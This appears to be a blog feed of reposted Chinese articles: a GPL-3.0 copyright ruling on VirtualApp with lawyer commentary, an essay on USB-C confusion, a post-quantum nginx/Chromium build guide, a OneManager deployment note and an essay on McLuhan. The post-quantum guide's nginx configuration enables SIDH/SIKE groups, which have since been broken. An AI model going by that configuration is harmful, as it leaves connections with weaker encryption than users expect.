不过值得注意的是,本案中被告的侵权事实成立,是因为违反 GPL3.0 协议导致 GPL3.0 协议自动解除,被告失去了 GPL3.0 协议下的源代码授权保护,进而构成侵权。
判决书中对于违反 GPL3.0 协议的侵权责任明确如下:
关于违反 GPL3.0 协议的侵权责任。
著作权法为了保护权利人的专有权,仅规定非权利人可以在如“合理使用”等范围内使用作品,诸如复制、修改、发行等权利则专属于权利人,任何人非经许可实施这些行为将构成侵权。
根据 GPL3.0 协议第 8 条“终止授权”的约定,授权人许可用户在遵守许可证规定的前提下行使某些权利,但用户必须承担相应的义务。若用户违反 GPL3.0 协议的使用条件来复制、修改或传播受保护的作品,其通过 GPL3.0 协议获得的授权将会自动终止。
对此,我国《民法总则》第一百五十八条规定:“民事法律行为可以附条件……附解除条件的民事法律行为,自条件成就时失效”。
根据开源软件的特性,GPL3.0 协议规定的使用条件(如开放源代码、标注著作权信息和修改信息等)系授权人许可用户自由使用的前提条件,亦即协议所附的解除条件。一旦用户违反了使用的前提条件,将导致 GPL3.0 协议在授权人与用户之间自动解除,用户基于协议获得的许可即时终止。用户实施的复制、修改、发布等行为,因失去权利来源而构成侵权。
原告:济宁市罗盒网络科技有限公司
被告:福建风灵创景科技有限公司(以下简称福建风灵公司)
被告:北京风灵创景科技有限公司(以下简称北京风灵公司)
(福建风灵公司系被告北京风灵公司的全资子公司)
被告:深圳市腾讯计算机系统有限公司(以下简称腾讯公司)
原告济宁市罗盒网络科技有限公司独立开发“罗盒(VirtualApp)插件化框架虚拟引擎系统 V1.0(简称 VirtualApp V1.0)。VirtualApp 从 2016 年 7 月 8 日的版本开始引入开源协议,起初为 LGPL3.0 协议,2016 年 8 月 12 日更换为 GPL3.0 协议。
2017 年 10 月 29 日,原告公司在 VirtualApp 后续开源版本中删除“适用 GPL3.0 协议”的表述。
2017 年 11 月 8 日,原告公司为 VirtualApp V1.0 取得计算机软件著作权登记证书,依法享有 VirtualApp V1.0 软件著作权的全部权利。
2017 年 12 月 30 日由 Lody(原告公司股东、VirtualApp 项目人罗迪) 提交的更新(对应 Git 码为8e6d9cd925af55b53a7e93046c469dd69676c38b)的 CHINESE.md 文件内载明“VirtualApp(中文名为罗盒)2017 年 8 月份正式公司化运作,当您需要将 VirtualApp 用于商业用途时,请务必联系 QQ1*****购买商业授权……VirtualApp 源代码将于 2017 年 12 月 31 日停止更新”。
2018 年 9 月,原告调查发现名为“点心桌面”的软件使用了 VirtualApp V1.0 的代码,将两个软件源代码进行分析比对,两者间 421 个可比代码中有 308 个代码具有实质相似性,有 27 个代码具有高度相似性,有 78 个代码具有一般相似性。因此,被诉侵权软件与涉案软件构成实质相似。
原告向法院起诉,庭审时明确诉请为判令如下:
1.被告福建风灵公司、被告北京风灵公司立即停止侵害原告的计算机软件著作权,即立即停止通过互联网提供所有版本的“点心桌面”软件的下载、安装和运营服务;
2.被告福建风灵公司、被告北京风灵公司赔偿原告经济损失 2000 万元;
3.被告福建风灵公司、被告北京风灵公司赔偿原告为制止侵权行为而支出的合理费用 50 万元;
4.被告福建风灵公司、被告北京风灵公司承担本案诉讼费用。
证据显示,被告福建风灵公司系被诉侵权软件“点心桌面”的著作权人。被告北京风灵公司亦被有关互联网平台标示为“点心桌面”的开发者,并被登记为“点心桌面”软件的著作权人。此外,提供被诉侵权软件下载、安装和运营服务的“点心桌面官网”和“应用宝”网站分别由被告福建风灵公司和腾讯公司经营。
立案之后,经查,被诉“点心桌面”App(V6.5.8)中使用了原告采用 GPL3.0 协议发布的VirtualApp,同时被告对此亦予以确认。
法院认为,该案系侵害计算机软件著作权纠纷,涉及开源软件的相关问题。根据双方诉辩意见及举证情况,该案争议焦点有四方面。法院已就焦点问题给出明确观点。
焦点一:GPL3.0 协议的法律效力。
法院明确 GPL3.0 协议具有合同性质,可认定为授权人与用户间订立的著作权协议,属于我国《合同法》调整的范围。
关于违反 GPL3.0 协议的侵权责任,明确若用户违反 GPL3.0 协议的使用条件来复制、修改或传播受保护的作品,其通过 GPL3.0 协议获得的授权将会自动终止。
焦点二:原告是否有权提起本案诉讼。
一是根据代码托管网站上的上传记录及证明等,原告公司可以证明是 VirtualApp 的著作权人。
二是原告提起本案诉讼无需贡献者的同意或授权,即有权提起诉讼。原因包括:原告公司股东罗迪作为项目人已将 VirtualApp 初始版本的源代码共计 31097 行在 Github 网站上公开发布,此系原告主张权利的基础;本案项目人对“主分支”中 VirtualApp 源代码的形成起到了决定作用;贡献者选择在 GPL3.0 协议的 VirtualApp 项目中上传自己的源代码,贡献者亦将按照 GPL3.0 协议许可其贡献,即视为同意将贡献内容许可给项目人及其他用户使用,并且若开源项目的起诉维权需经全体贡献者一致同意或授权,实则导致维权行为无从提起。综上,原告提起本案诉讼无需贡献者的同意或授权。
三是,GPL3.0 协议中仅限制授权人不得向用户主张任何专利权,而并未限制授权人对违反许可协议的用户主张著作权。因此,原告的诉讼行为并未违反 GPL3.0 协议关于争议解决方式的约定。
焦点三:被诉行为是否侵害原告的著作权。
一是原告虽将 VirtualApp 分为开源版本与商业版本,并且在后续开源版本中删除“适用 GPL3.0 协议”的影响问题。
原告在本案中系以 VirtualApp 开源版本而非商业版本作为其权利基础,故本案中不必对VirtualApp 开源版本与商业版本的关联及影响作出认定。而根据 GPL3.0 协议,若先前版本使用了 GPL3.0 协议,则后续版本也必然受 GPL3.0 协议的约束,因此 VirtualApp 后续开源版本仍然受 GPL3.0 协议的约束。
二是 GPL3.0 协议允许用户进行商用,授权人不得对此作出限制。所以原告主张“点心桌面”App进行商用违反 GPL3.0 协议及其附加条款缺乏理据,法院不予支持。
三是被诉“点心桌面”App(V6.5.8)本应当遵循 GPL3.0 协议向公众无偿开放源代码,但被告福建风灵公司拒不履行 GPL3.0 协议规定的使用条件。根据 GPL3.0 协议第 8 条自动终止授权的约定及《民法总则》第一百五十八条的规定,被告福建风灵公司通过该协议获得的授权已因解除条件的成就而自动终止。被告福建风灵公司对 VirtualApp 实施的复制、修改、发布等行为,因失去权利来源而构成侵权。
焦点四:若侵权成立,被告应承担的法律责任。
被告福建风灵公司作为“点心桌面”App(V6.5.8)的开发、运营和发布者,依法应承担停止侵害 VirtualApp 著作权的行为。鉴于被告福建风灵公司系被告北京风灵公司的全资子公司的情形,原告指控两被告共同承担侵权责任合法有据,法院予以支持。
被告腾讯公司对其“应用宝官网”上可能存在的侵权行为制定了相关规则、设置了投诉渠道,且对被诉软件作了及时下架处理。原告亦未对被告腾讯公司提出具体诉请。因此,被告腾讯公司无需承担法律责任。
关于赔偿问题,原告主张以被告福建风灵公司、被告北京风灵公司的侵权获利来计算。鉴于开源许可协议缔约方式和缔约主体的特殊性,导致违约或侵权行为更具隐蔽性,相应法律责任的承担应有助于敦促缔约方诚信履行开源义务,确保开源社区规范、持久的发展。开源软件大多都是免费的,但授权人付出的开发成本是必然存在的,按照侵权获利来承担赔偿责任更为公平合理。
最终,法院酌情确定赔偿数额为 50 万元。原告为制止本案侵权行为所支出的合理费用,计算在赔偿损失数额范围之内。
关于此案的更多细节和法院观点,详情可登陆中国裁判文书网查看此案(2019)粤03民初3928号一审判决书。
一审判决书:
https://wenshu.court.gov.cn/website/wenshu/181107ANFZ0BXSK4/index.html?docId=05f553bd178d4354bb48ad5100c1314f(中国裁判文书网地址)
https://www.iphouse.cn/cases/detail/woznd0v9pek4jx35ovdj8y5gxrm371q2.html?keyword=GPL(其他网站地址)
我们邀请专注 TMT 领域的知识产权问题的邓超律师(18611123013)就此案件做相关解读。后续邓超律师将发表深度解读文章,敬请期待!
问题一:此案对后续有关开源软件版权纠纷案件有何具体参考意义?
这个案子据我所知,被告上诉了,所以现在这个判决还没有生效,最后法院怎么认定,还没有最终定论。
但毫无疑问的一点是,违反许可证的义务是会遭到权利人的侵权索赔的。
因为以往国内开源主要是拿来主义,使用国外的代码比较多,但随着国内开发者的不断成熟。将来相关的纠纷会越来越多,这就要求法务和开发人员了解开源的相关问题。
问题二:为什么此案件中,“点心桌面”未被强制开源?
没有要求强制开源是因为原告没有提出这样的要求,那么法院是一个被动的审判机关,不告不理,只被动审理原告提出的请求。
在这个案件中,原告没有选择合同,也就是许可证违约,而是选择了版权侵权这条救济途径。一般而言,版权侵权要比合同违约的救济力度要大,无论从各个方面,这在国内和在美国都是如此。
问题三:如果原告提出了开源的诉求,会如何?
如果原告选择了合同违约这条途径,法院是不是会支持被告将代码强制开源这个问题其实很值得探讨,我个人初步的观点是,法院不一定会支持这种诉请。关于这个事情,我准备近期写篇文章,但我现在初步的看法是要求代码强制开源,在法院不太可能得到支持。
所以,如果违反 GPL 许可证的义务,那么将代码全部开源,更多的是一种理论上的可能。在实践中,以中国和美国的法院为例,我理解支持这种诉求的可能性都非常低。
]]>本文转自:https://www.ifanr.com/1374936
大一统下 USB-C,是不一样的规格与协议带来的混乱。
苹果多年来未对 Lightning 接口进行重新设计,而 USB-C 形态确立之后,USB-IF 几年之间不停地在更新 USB 3.0 的协议,这让 USB-C 口具备了非常多的协议支持与极为复杂的线材选择。
这是从 Telegram 频道看来的一个「笑话」:
十年前走进商店买数据线:Micro-USB,Mini-USB,USB-A,USB-C…… 这都什么玩意
USB-IF:我们要整一个统一的接口,以后很多设备都是这个口
我:好耶
手机厂商:hAo yE!
买数据线的我:
USB-C(USB2.0),USB-C(USB3.0),USB-C(USB3.0 E-Marker),USB-C(USB3.1 Gen1 E-Marker),USB-C(USB3.1 Gen2 E-Marker),USB-C(USB3.2 Gen1 E-Marker),USB-C(USB3.2 Gen2 E-Marker),USB-C(USB3.2 Gen2×2 E-Marker),USB-C(雷电 3 E-Marker)
USB-C(USB2.0 PD2.0),USB-C(USB3.0 PD2.0),USB-C(USB3.0 E-Marker PD2.0),USB-C(USB3.1 Gen1 E-Marker PD2.0),USB-C(USB3.1 Gen2 E-Marker P2.0),USB-C(USB3.2 Gen1 E-Marker PD2.0),USB-C(USB3.2 Gen2 E-Marker PD2.0),USB-C(USB3.2 Gen2×2 E-Marker PD2.0),USB-C(雷电 3 E-Marker PD2.0)
USB-C(USB3.0 E-Marker PD3.0 3A),USB-C(USB3.1 Gen1 E-Marker PD3.0 3A),USB-C(USB3.1 Gen2 E-Marker P3.0 3A),USB-C(USB3.2 Gen1 E-Marker PD3.0 3A),USB-C(USB3.2 Gen2 E-Marker PD3.0 3A),USB-C(USB3.2 Gen2×2 E-Marker PD3.0 3A),USB-C(雷电 3 E-Marker PD3.0 3A)
USB-C(USB3.0 E-Marker PD3.0 PPS 3A),USB-C(USB3.1 Gen1 E-Marker PD3.0 PPS 3A),USB-C(USB3.1 Gen2 E-Marker P3.0 PPS 3A),USB-C(USB3.2 Gen1 E-Marker PD3.0 PPS 3A),USB-C(USB3.2 Gen2 E-Marker PD3.0 PPS 3A),USB-C(USB3.2 Gen2×2 E-Marker PD3.0 PPS 3A),USB-C(雷电 3 E-Marker PD3.0 PPS 3A)
USB-C(USB3.0 E-Marker PD3.0 5A),USB-C(USB3.1 Gen1 E-Marker PD3.0 5A),USB-C(USB3.1 Gen2 E-Marker P3.0 5A),USB-C(USB3.2 Gen1 E-Marker PD3.0 5A),USB-C(USB3.2 Gen2 E-Marker PD3.0 5A),USB-C(USB3.2 Gen2×2 E-Marker PD3.0 5A),USB-C(雷电 3 E-Marker PD3.0 5A)
USB-C(USB3.0 E-Marker PD3.0 PPS 5A),USB-C(USB3.1 Gen1 E-Marker PD3.0 PPS 5A),USB-C(USB3.1 Gen2 E-Marker P3.0 PPS 5A),USB-C(USB3.2 Gen1 E-Marker PD3.0 PPS 5A),USB-C(USB3.2 Gen2 E-Marker PD3.0 PPS 5A),USB-C(USB3.2 Gen2×2 E-Marker PD3.0 PPS 5A),USB-C(雷电 3 E-Marker PD3.0 PPS 5A)
USB-C(USB2.0 SuperVOOC),USB-C(USB3.0 SuperVOOC),USB-C(USB3.1 Gen1 SuperVOOC),USB-C(USB3.1 Gen2 SuperVOOC),USB-C(USB3.2 Gen1 SuperVOOC),USB-C(USB3.2 Gen2 SuperVOOC)
USB-C(USB2.0 小米快充)
USB-C(USB2.0 vivo22.5W 快充),USB-C(USB2.0 vivo44W 快充),USB-C(USB2.0 vivo120W 快充)
USB-C(USB2.0 SCP),USB-C(USB3.0 SCP),USB-C(USB3.1 SCP),USB-C(USB3.2 Gen1 SCP),USB-C(USB3.2 Gen2 SCP)
看起来有点复杂有点好笑,但却是会真实碰到的情况。
USB-C 现在有两个问题,一个来自 USB 协议标准的制定者 USB-IF,另一个则来自 USB-C 接口本身过于流行而所支持的协议又过于丰富。
第一是 USB-IF 一直在对 USB 3.0 的标准名称乱来。比如最开始 2008 年 11 月 8 日推出的 USB 2.0 下一代标准叫做 USB 3.0,峰值速率(带宽)为 5Gbps,是 USB 2.0 时代峰值速率 480Mbps 的十倍以上。
当然,5Gbps 的速率怎么能满足 USB-IF 呢,在 USB 3.0 之后,于 2013 年 12 月 3 日正式推出了 USB 3.1,将峰值速率翻了一倍达到了 10Gbps。然后 USB-IF 的骚操作是将原先已经使用好几年的 USB 3.0 改名叫 USB 3.1 Gen1,而新推出的 10Gbps 的 USB 3.1 改名叫 USB 3.1 Gen2。
这里的操作只算是「混乱之始」,在 2017 年 USB-IF 推出了速率更快的 USB 3.2,将峰值速率推进到 20Gbps 之后,他们把在 USB 3.0/3.1 上的行为又重复了一遍。将 USB 3.1 Gen1 改名叫 USB 3.2 Gen1,USB 3.1 Gen2 改名叫 USB 3.2 Gen2,而 20Gbps 的 USB 3.2 则被命名为 USB 3.2 Gen 2×2。
新标准的推出与旧标准的接连两次改名,让许多非专业用户对 USB 3.0 标准产生了一头雾水,所以在大多数情况下用户仍然会以 USB 3.0 来统一指代 USB 3.X 的所有规格,至于实际应该如何表达连许多数码博主也感到相当头疼。
但更头疼的问题还在于 USB-C 这个接口形态支持的协议实在太多,尤其是在目前快充成为手机刚需功能之下,PD 协议、PPS 补充协议,乃至各种像 VOOC 一样的私有协议都承载在 USB-C 这个接口上。
私有协议的盛行让专用线材与产品进行身份识别达成「握手」的情况变得极为普遍,要想发挥出快充的能力,就要使用专用的电源头和专用线材。另外这些线材本身还分带不带 E-maker 芯片,能承载 3A、5A 还是 6A 电流等不同区别。
当然,也不能说手机品牌没有在减少误购方面进行努力,比如像 VOOC 一样强化充电品牌标识,在消费者进行购买的时候就比较有针对性。另外就是在接口方面使用不同颜色来作为标识。
比如小米 10 Ultra 的原装 120W 线材接口为橙色,而 OPPO Find X2 Pro 的 65W SuperVOOC 2.0 使用的则是黄色。
另外有时候也可以通过线材的粗细来进行判断,一般情况下支持更高功率的线材因为要通过更高的电流,所以线材都会比较粗,当手上有不同功率充电头和线材在一起时,用这个方法可以快捷配对。
USB-C 的「罪过」之一可能还包括「大一统」本身带来的副作用。因为像 DP 输出、快充、高速传输等等不同协议都能通过同一个 USB-C 实现,「能者多劳」似乎变得理所当然,而接口的整体数量则一直处于减少之中。
典型案例应该是苹果在 2015 年推出的 New MacBook 12,这台 MacBook 是冲着极致的轻巧便携去的,甚至采用了无风扇设计,整机的厚度只有 13.1mm,比 MacBook Air 还要再薄 24% 之多。
但趋之若鹜的消费者们随即发现了一个大问题——它只有一个 USB-C 接口。这个接口兼具了数据传输,转接有线网络和最重要的充电功能,虽然身负多种能力,但毕竟不会影分身之术,同一时间只能做一件事情。
手机品牌上其实也有类似的体现,比如当 3.5mm 耳机接口被砍掉的时候,很多品牌都顺势推出了 USB-C 接口的有线耳机。但手机的 USB 接口只有一个,在没有蓝牙耳机和无线充电的情况下,用户只能通过一个 USB-C 口在听歌和充电之中二选一。
越来越少的接口数量,还催生了比以往更大的 USB HUB 市场,这些被砍掉的接口,比如 RJ45 网线接口、HDMI 接口、SD 读卡器乃至更多的 USB-C 口,都在层出不穷的 USB HUB 上还了回来。
在以前,由于各个接口的形状并不相同,只要看到笔记本的渲染图就能得知其在接口上的大致扩展性如何,比如 RJ45 接口、3.5mm 接口、HDMI 接口等等。在 USB Type-A 接口的后期,还曾用颜色来区别 USB 2.0 和 USB 3.0 的接口,USB 3.0 的规范建议 USB 3.0 接口基座使用一部分蓝色,以方便用户快速区分。
而现在一眼望过去只有几个长相一模一样的 USB-C 口。
就像上面所说,即便是同一个产品上看上去完全相同 USB-C 口,其实际承载的功能也可能是完全不一样的。
拿最近的一台产品,TNT GO 无线版来举例,在机身右侧下部共有两个 USB-C 接口,他们从形态上看上去完全一样,但是在实际使用中,只能通过上面的接口进行有线连接 TNT,并不能混用,而坚果团队也在靠下的那个 USB-C 口上标注了闪电形状的小图标来表示这个接口用于充电。
在笔记本产品中也有类似现象,并且多发生在需要平衡价格与性能的中端产品之上。比如同事在使用的 2018 款联想小新,虽然具备 USB-C 接口但并不能用来充电,充电依然需要 DC 电源口,2018 年时已经有不少高功率 PD 充电器流行,非常影响笔记本的出行便携性。
电源还算是比较显而易见的功能,如果是更加具备隐蔽性的功能,那可能单纯从接口上是看不出来的,比如说 DP 视频输出功能某些 USB-C 口就是不具备的,而如果具备多个 USB-C 口,很可能需要仔细查阅技术支持文档才能在搞清楚支持情况,由此也诞生出了「全功能 USB-C 口」的说法。
另外有的 USB-C 还支持英特尔的 Thunderbolt3(雷雳 3 接口,俗称雷电口)协议标准,能够将传输带宽相比 USB 3.2 2×2 的基础上再次翻倍达到 40Gbps,实际上已经公布的 USB4 标准就是建立在 Thunderbolt3 的基础上而来。
而在带宽达到 40Gbps 的之后,不仅能外接更多更高分辨率的显示器,还能够使用 eGPU 这样的外置显卡来进一步提升显示性能,扩展能力相比 USB 3.2 再次增强。而从外观上来说,它依旧是一个普通的 USB-C。
首先从结论上说,我并没有反对 USB-C 对繁杂的接口进行统一整合,USB-C 即便混乱,但依然提供了比以往更强大的兼容性,从这一点上来说是非常正面的。但这些「副作用」也是确实存在,并且可能需要厂商去推动更好的解决方法。
比如用插头上用不同颜色,比如在笔记本的 USB-C 口旁边用小图标进行更详细的标准,像是为 Thunderbolt3 准备了小小的雷电标识,都在一定程度上起到了效果,但可能还需要更巧妙,更明显。
强扭的瓜不甜,但愿以后 USB-C 的线材和基座的配对之间能再更清晰明了有些,不再 65W SuperVOOC 惨变 15W PD,视频输出展示 PPT 显示黑屏,Switch 接上显示器没反应。
]]>本文转自: https://lantian.pub/article/modify-website/post-quantum-encryption.lantian/
现代互联网上,绝大多数网站都已经支持 HTTPS,其使用的 SSL/TLS 加密协议会将用户的请求数据与网站的响应进行加密,以防止信息被路径上的恶意用户窃取或篡改。而 SSL/TLS 协议中的一个重要组成部分是 RSA、ECDSA 等非对称加密算法,这些算法的密钥分为公钥、私钥两份,公钥可以公开,而私钥则要妥善保管。
在访问 HTTPS 网站时,会经过以下的流程:
非对称加密算法保证了浏览器和网站交换对称加密密钥的安全,从而保证数据不被窃取或篡改。
但是随着量子计算机的诞生,事情发生了一点变化。在量子计算机上运行的秀尔算法可以非常高效地破解 RSA、ECDSA 等基于质因数分解难度的传统非对称加密算法,只要有一台足够强大的量子计算机,也就是量子比特数目达标的计算机。
而随着量子计算的逐渐火热,量子计算机正在迅速地发展。目前公开的最强大的量子计算机是 IBM 的 53 量子比特计算机(参见量子霸权),仍然不够使用秀尔算法破解 RSA、ECDSA 等,但高速的科技发展随时可能将此变成现实。
因此,密码学家们着手开发无法被量子计算机有效破解的非对称加密算法,并推广它们的使用,以准备好迎接 RSA 被破解的那一天。
从 2016 年末开始,Open Quantum Safe 项目就开始将现有的、能抵抗量子计算机的加密算法整合到 liboqs 开发库里,并将它集成到 OpenSSL、BoringSSL 等广泛使用的加密库,以简化新加密算法的部署。
同时,官方还提供了 nginx、Chromium 等软件的编译、集成流程文档。因此,只需要参照文档进行简单的修改,我们就可以准备好迎接实用量子计算机的到来。
注意:这里所有的后量子加密算法都相对较新,并且正在进行 NIST 的标准化审核流程,可能仍有未被发现的漏洞。虽然 Open Quantum Safe 项目有一些方法降低风险,但在这些算法的标准化流程完成之前,不建议将它们用于生产环境等重要用途。
由于 nginx 使用 OpenSSL 或 BoringSSL 作为自己的加密库,我们不需要对 nginx 做任何修改,只需要把 OpenSSL 替换成 Open Quantum Safe 项目的版本就可以。
Open Quantum Safe 提供了一份修改后的 Dockerfile,可以用作参考。
相比编译普通的 nginx,主要的改动有两处:
# 前略
&& git clone -b OQS-OpenSSL_1_1_1-stable https://github.com/open-quantum-safe/openssl.git \
# 省略了一些我个人使用的 OpenSSL 修改,对后量子加密不是必要的
&& git clone -b master https://github.com/open-quantum-safe/liboqs.git \
&& mkdir /tmp/liboqs/build && cd /tmp/liboqs/build \
&& cmake -DOQS_BUILD_ONLY_LIB=1 -DBUILD_SHARED_LIBS=OFF -DCMAKE_INSTALL_PREFIX=/tmp/openssl/oqs .. \
&& make -j4 && make install && cd /tmp \
# 后略
其中所有文件都被下载到了 /tmp 目录下。关键点是用 cmake 编译 liboqs 项目,并将其安装到 OpenSSL 源码目录的 oqs 子目录下。
2. 需要额外添加一些编译参数,以将 liboqs 包含在编译出来的 nginx 中,在 Dockerfile 的 102-104 行:
# 前略
&& ./configure \
# 略过一些 nginx 的编译参数
--with-openssl=/tmp/openssl \
--with-cc-opt="-I/tmp/openssl/oqs/include" \
--with-ld-opt="-L/tmp/openssl/oqs/lib" \
&& sed -i 's/libcrypto.a/libcrypto.a -loqs/g' objs/Makefile \
# 后略
然后正常编译 nginx 即可。
编译、安装 nginx 完成后,还需要修改参数使用这些后量子时代的非对称加密算法,包括密钥交换算法和身份验证算法两类:
密钥交换算法:即浏览器和网站传输对称加密密钥时使用的非对称加密算法。
只需简单修改 nginx.conf 中的 ssl_ecdh_curve 参数,使用这些非对称加密算法的椭圆曲线,就可以使用这些密钥交换算法:
ssl_ecdh_curve 'p256_frodo640aes:p256_bike1l1cpa:p256_kyber90s512:p256_ntru_hps2048509:p256_lightsaber:p256_sidhp434:p256_sikep434:prime256v1:secp384r1:secp521r1';
修改完成后 nginx -s reload 即可。
这里只开启了支持的密钥交换算法的一部分,原因有二:
身份验证算法:即证书颁发机构(CA)给网站颁发证书形式公私钥的算法。使用这些算法需要找支持后量子算法的 CA(现在还不存在)重新签发证书,或者自己签发证书(不被浏览器信任),都不实用,因此我选择现在不使用。
在这里配置完后,你可以使用 Open Quantum Safe 的一个 curl Docker 镜像来测试一下你的网站:
# 将最后一个参数替换成你要用的加密算法,格式和 ssl_ecdh_curve 相同
docker run -it openquantumsafe/curl:0.4.0 curl https://lantian.pub --curves p256_frodo640aes
虽然有了命令行的 curl 验证,但是一个全功能的浏览器的支持能够让后量子加密实用化,给用户更佳的保护。Open Quantum Safe 同样提供了修改后的 BoringSSL,只需要将它编译到 Chromium 里,就可以在目前世界上最流行的浏览器中体验后量子加密算法了。
Open Quantum Safe 同样提供了 Chromium 的编译教程。与编译原版 Chromium 相比,主要不同的步骤有四处:
git clone https://github.com/open-quantum-safe/boringssl,用修改过的 BoringSSL 替换 Chromium 源代码中 third_party/boringssl/src 路径下的原版 BoringSSL;
下载 liboqs,编译安装到 BoringSSL 的 oqs 目录下:
git clone --branch master https://github.com/open-quantum-safe/liboqs.git
cd liboqs && mkdir build && cd build
cmake .. -G"Ninja" -DCMAKE_INSTALL_PREFIX=<CHROMIUM_ROOT>/third_party/boringssl/src/oqs -DOQS_USE_OPENSSL=OFF
ninja && ninja install
给 Chromium 打上调用 liboqs 的补丁。
在 third_party/boringssl 文件夹下运行 python2 src/util/generate_build_files.py gn 以更新依赖,加入 liboqs 相关内容。
之后按照正常步骤编译 Chromium 即可。
编译、安装完成后,启动 Chromium 访问开启了后量子加密的网站,然后打开开发者工具的 Security(安全)面板:
上面已经显示使用了 p256_frodo640aes 算法,也就意味着你的网页浏览已经有了后量子时代的保护。
]]>额外要注意的是,Open Quantum Safe 的 BoringSSL 只支持一小部分的密钥交换算法:
P256_BIKE1L1CPA, P256_FRODO640AES, P256_KYBER90S512, P256_NTRU_HPS2048509, P256_LIGHTSABER, P256_SIDHP434, P256_SIKEP434
这一列表只在官方测试站上提到。因此我先前选择了这些算法配置在 nginx 中。
这是一个利用微软onedrive api将onedrive目录映射成一个云盘的程序,类似的程序有很多,比如OneIndex、Pyone、OnePoint等等。这个程序的特点是支持多种onedrive类型,可以部署在多种平台上。
本教程以在Glitch上部署为例.(建议挂梯)
Glitch默认不会启用https, 你可以在OneManager 的设置 > 平台变量 中将 forceHttps 的值设置为1来启用 https :
在Glitch中,依次点击 Tools > Custom Domains :
输入你的域名, 并点击Add Domain:(我这里的onemanager只是一个示例, 你可以用其他的二级域名)
在你的域名服务供应商中为你的域名添加一条解析:
类型为CNAME, 目标填 glitch.edgeapp.net (如果你在平台变量中开启了https,则不要开启cloudflare的橙色云)。
在public_path 中填入你想显示的文件夹名称(前面加个斜杆 / ),然后点击设置即可。
本文转自:https://mp.weixin.qq.com/s/xkL09_Tdljg8pk0v9taLjg
“媒介即讯息”这个理论,本质含义没有那么复杂,实际上就是它的字面义:媒介本身才是最有价值的讯息。
但如果真这么简单,我们就不会把麦克卢汉的理论奉为圭臬,他大概也不能瞑目。只有把这样一个理论放在传播学的学科背景、麦克卢汉的思想体系以及对后世传播学的影响这三个方面加以思考,才能真正理解这一理论及其现实意义。
首先,“媒介即讯息”强调的是媒介形式也就是媒介本身的重要性。与“形式”相对的维度是“内容”,以手机为例,“手机”本身是一种媒介形式,而我们通过手机观看的东西如新闻、图片、视频等都是媒介内容(也就是“讯息”)。如果问形式和内容哪个对我们的影响更大,我想大部分人第一反应都是后者,也就是内容,毕竟人们直接阅读接收的东西才是影响认知、态度的主要因素,而非抽象的形式概念。
没错,这也是当时美国主流传播学界的看法。20世纪五六十年代,大部分学者都关注媒介内容对受众的影响。他们惯于使用量化、实验等实证方法,去测量内容如何影响受众的态度和行为。比如,看了一部电影、一则新闻之后,青少年的暴力倾向是不是更显著,这就是典型的传播学问题。由于这种研究取向较为科学、操作规范且可以重复,能够迅速产出调查报告,所以特别适合政府和广告商了解受众的需要,因此迅速发展成为传播学的主流范式——经验主义范式,并统治了这个学科几十年之久。“传播学之父”施拉姆在框定传播学四大奠基人时,选择的四位学者(拉斯韦尔、拉扎斯菲尔德、霍夫兰、勒温)都是经验主义学者。
诚然,偏向“内容”的研究取向能够为传播学赚取大量资金和政治支持,维系较长时间的“表面繁荣”。但问题是,着眼于内容对受众的影响,观测到的结果仅仅是微观的、短时间的效果和态度转变。虽然可以得到一大堆测量数据,但却无法进行上层理论建构。这样,作为一门学科的传播学还与其他学科有什么差别?又有什么学科发展的推动力量?传播学面临学科合法性危机。
就在这一时期,来自加拿大的传播学者麦克卢汉带着他的媒介理论横空出世。麦克卢汉大声疾呼:媒介即讯息!——媒介本身才是真正有价值的讯息!在《理解媒介》里,他举了一个例子,我们都是看门狗,媒介形式是小偷,而媒介内容是一块美味的肉,小偷为了转移注意力,将肉扔给我们,所以我们就只关注内容而忽略了形式的重要性。麦克卢汉以此呼吁学界要重视媒介本身。这是什么意思呢?再以手机为例诠释一下他的想法,如果说学者们关注的是手机里的内容对受众认知、态度、行为的影响,麦克卢汉则更加重视“手机”这个媒介本身对人与社会的整体影响,比如手机的出现,让“低头族”变多、人们的内容获取更为零散,由此导致思维的碎片化,整个社会的发展都朝向“移动化”转变。
再比如说,我们能够感知到“互联网”这一媒介对生活以及社会各个方面带来的巨大影响,但这些影响是互联网上各种零散的内容造成的吗?必然不是,这些影响是作为一个整体的互联网本身施加的。
这就是内容和形式的差别。如果说内容带来的是短效的态度转变,形式更多的是长期性的宏观变化。麦克卢汉指出,印刷术出现之后导致西方理性文明发展,电视出现之后带来人与社会的巨大转变,主导这一切的是形式而非内容,因此媒介本身才是对社会变迁带来深刻变化的主体——媒介即讯息。
可是在当时经验主义主导传播学的情况下,麦克卢汉的思想显得太过超前,并不被人所理解。美国学者大骂麦克卢汉是神棍,是骗子。但随着后来技术变革,尤其是互联网出现之后,媒介对人与社会的宰制力不断增强,人们对媒介认识不断深化,印证了麦克卢汉理论的正确性。传播学也完成了向媒介研究的转向。从这个层面来说,麦克卢汉和“媒介即讯息”是吹响变革的先行号角。他让学界与普通人注意到“媒介”形式本身的影响,这是他最大的历史功绩。
围绕“媒介即讯息”这个理论,麦克卢汉开始着手进行他的媒介理论版图构建。比如“媒介即人的延伸”、“冷热媒介”、“媒介四定律”等等,“媒介即讯息”是这些理论的“元命题”,也是所有媒介研究的“元命题”。
回到理论本身,“媒介即讯息”其实包含两个层面的含义。第一层,强调媒介形式才是最重要的,它能够对人与社会施加决定性影响。对人而言,麦克卢汉认为,媒介能影响人的感知结构,由此提出“冷热媒介”理论;对社会而言,媒介是社会发展的根本动力,还是区分不同社会形态的标志。他将人类文明分为三个阶段:口语传播时代、印刷传播时代以及电子传播时代。每个时代的时代特征都由媒介所决定。
“媒介即讯息”第二层含义是:“媒介,是另一种媒介的内容(讯息)”,特指旧媒介是新媒介的内容(讯息)。比如,口语是文字的内容,文字是印刷书籍的内容,图像是电影的内容,电影影像又是电视的内容。那什么媒介是互联网的内容呢?互联网的内容是在它之前的所有媒介,甚至连上网的人也是互联网的内容,这就是麦克卢汉说的,媒介即是讯息,使用者是媒介的内容。仔细想来,我们现在正处在自媒体时代,每个人都是互联网的生产者,我们生产出来的的内容构成了互联网本身,这可以说是麦克卢汉又一个成功的预言。
麦克卢汉的思想影响至今并依旧璀璨。1968年,在麦克卢汉的影响下,波兹曼创立“媒介环境学派”,与经验主义范式、批判主义范式并列为传播学三大学派,并将麦克卢汉尊为学派的奠基人。但波兹曼只是弱水三千取其一瓢,媒介环境只是麦克卢汉思想体系中一个分支,后来经过波兹曼、莱文森、林文刚等人的努力才逐渐发展壮大。
